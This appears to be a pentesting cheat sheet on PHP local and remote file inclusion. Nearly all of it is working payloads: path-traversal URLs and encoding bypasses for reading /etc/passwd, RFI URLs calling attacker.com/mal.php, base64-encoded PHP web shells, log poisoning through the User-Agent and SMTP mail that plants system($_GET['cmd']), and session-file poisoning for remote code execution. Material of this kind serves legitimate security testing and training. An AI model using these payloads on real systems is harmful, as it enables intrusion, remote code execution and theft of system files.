Web_Hacking/File Inclusion.md

File Inclusion

• Remote File Inclusion (RFI): The file is loaded from a remote server (Best: You can write the code and the server will execute it). In php this is disabled by default (allow_url_include).
• Local File Inclusion (LFI): The sever loads a local file.

Vulnerable PHP functions:

• require
• require_once
• include
• include_once

Basic LFI

In the following examples we include the /etc/passwd file, check the Directory & Path Traversal chapter for more interesting files.

http://example.com/index.php?page=../../../etc/passwd

traversal sequences stripped non-recursively

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Bypass the append more chars at the end of the provided string (bypass of: $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

This is solved since PHP 5.4

Encoding

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

From existent folder

Maybe the back-end is checking the folder path:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Identifying folders on a server

• identify the "depth" of you current directory by succesfully retrieving /etc/passwd (if on Linux):

http://example.com/index.php?page=../../../etc/passwd # depth of 3

• try and guess the name of a folder in the current directory by adding the folder name (here, private), and then going back to /etc/passwd:

http://example.com/index.php?page=private/../../../../etc/passwd # we went deeper down one level, so we have to go 3+1=4 levels up to go back to /etc/passwd 

• if the application is vulnerable, there might be two different outcomes to the request:
  1. if you get an error / no output, the private folder does not exist at this location
  2. if you get the content from /etc/passwd, you validated that there is indeed a privatefolder in your current directory

you want to check if /var/www/ contains a private directory, use the following payload:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

The following sequence of commands allows the generation of payloads using sed (1) as input for url fuzzing tools such as ffuf (2):

# 1
sed 's_^_../../../var/www/_g' /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt | sed 's_$_/../../../etc/passwd_g' > payloads.txt

# 2
ffuf -u http://example.com/index.php?page=FUZZ -w payloads.txt -mr "root"

Path truncation

Bypass the append of more chars at the end of the provided string (bypass of: $_GET['param']."php")

In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.
Check if last 6 chars are passwd --> passwd/
Check if last 4 chars are ".php" --> shellcode.php/.

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.

#With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027)

http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

Always try to start the path with a fake directory (a/).

This vulnerability was corrected in PHP 5.3

Filter bypass tricks

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

In php this is disable by default because allow_url_include is Off. It must be On for it to work, and in that case you could include a PHP file from your server and get RCE:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

If for some reason allow_url_include is On, but PHP is filtering access to external webpages, according to this post, you could use for example the data protocol with base64 to decode a b64 PHP code and egt RCE:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

Another example not using the php:// protocol would be:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python Root element

In python in a code like this one:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

If the user passes an absolute path to file_name, the previous path is just removed:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

Top 25 parameters

Here’s list of top 25 parameters that could be vulnerable to local file inclusion (LFI)

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI using PHP wrappers & protocols

php://filter

PHP filters allow perform basic modification operations on the data before being it's read or written. There are 5 categories of filters:

1. String Filters:

• string.rot13
• string.toupper
• string.tolower
• string.strip_tags: Remove tags from the data (everything between "<" and ">" chars)

  Note that this filter has disappear from the modern versions of PHP

2. Conversion Filters

• convert.base64-encode
• convert.base64-decode
• convert.quoted-printable-encode
• convert.quoted-printable-decode
• convert.iconv.* : Transforms to a different encoding(convert.iconv.<input_enc>.<output_enc>) . To get the list of all the encodings supported run in the console: iconv -l

3. Compression Filters

• zlib.deflate: Compress the content (useful if exfiltrating a lot of info)
• zlib.inflate: Decompress the data

4. Encryption Filters

• mcrypt.* : Deprecated
• mdecrypt.* : Deprecated

5. Other Filters

Running in php var_dump(stream_get_filters()); you can find a couple of unexpected filters:

• consumed
• dechunk: reverses HTTP chunked encoding
• convert.*

# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

Via Email

Send a mail to a internal account (user@localhost) containing your PHP payload like <?php echo system($_REQUEST["cmd"]); ?> and try to include to the mail of the user with a path like /var/mail/<USERNAME> or /var/spool/mail/<USERNAME>

Via upload

If you can upload a file, just inject the shell payload in it (e.g : ).

http://example.com/index.php?page=path/to/uploaded/file.png

In order to keep the file readable it is best to inject into the metadata of the pictures/doc/pdf

RCE via Mail

First send an email using the open SMTP then include the log file located at http://example.com/index.php?page=/var/log/mail.

root@kali:~# telnet 10.10.10.10. 25
Trying 10.10.10.10....
Connected to 10.10.10.10..
Escape character is '^]'.
220 straylight ESMTP Postfix (Debian/GNU)
helo ok
250 straylight
mail from: mail@example.com
250 2.1.0 Ok
rcpt to: root
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
subject: <?php echo system($_GET["cmd"]); ?>
data2
.

In some cases you can also send the email with the mail command line.

mail -s "<?php system($_GET['cmd']);?>" www-data@10.10.10.10. < /dev/null

RCE via Apache logs

Poison the User-Agent in access logs:

curl http://example.org/ -A "<?php system(\$_GET['cmd']);?>"

Note: The logs will escape double quotes so use single quotes for strings in the PHP payload.

Then request the logs via the LFI and execute your command.

curl http://example.org/test.php?page=/var/log/apache2/access.log&cmd=id

LFI to RCE via PHP sessions

Check if the website use PHP Session (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

In PHP these sessions are stored into /var/lib/php5/sess_[PHPSESSID] or /var/lib/php/sessions/sess_[PHPSESSID] files

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Set the cookie to <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Use the LFI to include the PHP session file

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27